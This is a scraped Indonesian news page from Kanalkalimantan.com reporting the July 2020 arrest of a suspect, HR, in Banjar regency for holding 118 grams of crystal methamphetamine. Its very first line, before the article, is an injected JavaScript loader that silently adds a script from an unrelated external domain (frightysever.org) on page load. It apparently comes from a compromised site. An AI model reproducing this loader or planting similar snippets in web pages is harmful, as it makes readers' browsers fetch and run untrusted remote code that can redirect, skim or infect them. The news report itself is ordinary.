(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Simpan 3 Paket Sabu di Mobil, HR Diringkus Polisi Saat Parkir di Pinggir Jl A Yani Gambut


KANALKALIMANTAN.COM, MARTAPURA – Rentetan kasus narkoba berhasil diungkap jajaran Sat Resnarkoba Polres Banjar. Usai mengungkap kasus sabu di Kecamatan Kertak Hanyar, pada Senin (20/7/2020), beberapa hari sebelumnya ternyata juga berhasil mengamankan seorang pengedar narkoba dengan barang bukti sabu seberat 118 gram dari tersangka HR alias Ahad (33) pada Jumat (17/7/2020) pukul 15.30 Wita.

HR yang merupakan warga Guntung Manggis, Kecamatan Landasan Ulin, Banjarbaru diamankan saat berada di Jl A Yani Km 16, Kecamatan Gambut, Kabupaten Banjar.

“Awalnya anggota Sat Resnarkoba mendapatkan informasi dari masyarakat bahwa di Jl A Yani Km 16 Kecamatan Gambut sering terjadi peredaran gelap narkotika jenis sabu,” kata Kasat Narkoba Polres Banjar, AKP Purnoto, Selasa (21/7/2020) saat dikonfirmasi Kanalkalimantan.com.

 

Baca juga :

 

Menindaklanjuti info tersebut, selanjutnya polisi melakukan pemantauan di sekitar tempat kejadian. Tak beberapa lama, anggota Sat Res Narkoba Polres Banjar melihat satu buah mobil merk Nissan March warna putih berhenti di pinggir jalan dan terlihat mencurigakan.

“Anggota lantas mendatangi mobil tersebut dan melakukan pemeriksaan,” katanya.

Saat petugas melakukan pemeriksaan dan pengeledahan pada mobil yang dikendarai HR, ditemukan bukti berupa tiga paket sabu-sabu seberat 3,40 gram. “Sabu ditemukan di dalam bekas kotak korek api yang berada di daun pintu depan sebelah kanan,” lanjut AKP Purnoto.

Tidak puas hanya sampai di situ, pihaknya juga melakukan pengembangan ke rumah tersangka di Komplek Griya Pesona Bhayangkara, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin Kota Banjarbaru.

Dan dari rumah pelaku, petugas kembali berhasil menemukan barang bukti satu paket sabu seberat 5,21 gram berada dalam kotak Wifi dalam lemari pakaian di kamar pelaku. Sebelas paket sabu seberat 109,39 gram juga ditemukan terbungkus plastik warna hitam juga dalam lemari pakaian di kamar pelaku.

Total barang bukti sabu yang ditemukan dalam penguasaan tersangka seberat 118 gram. “Ada 15 paket sabu dengan berat kotor 118 gram yang berhasil kami amankan dari pelaku,” pungkas AKP Purnoto.

Terkait kasus tersebut, HR saat ini diamankan di ruang tahanan isolasi Polres Banjar setelah menjalani terlebih dahulu rapid test. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

13 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.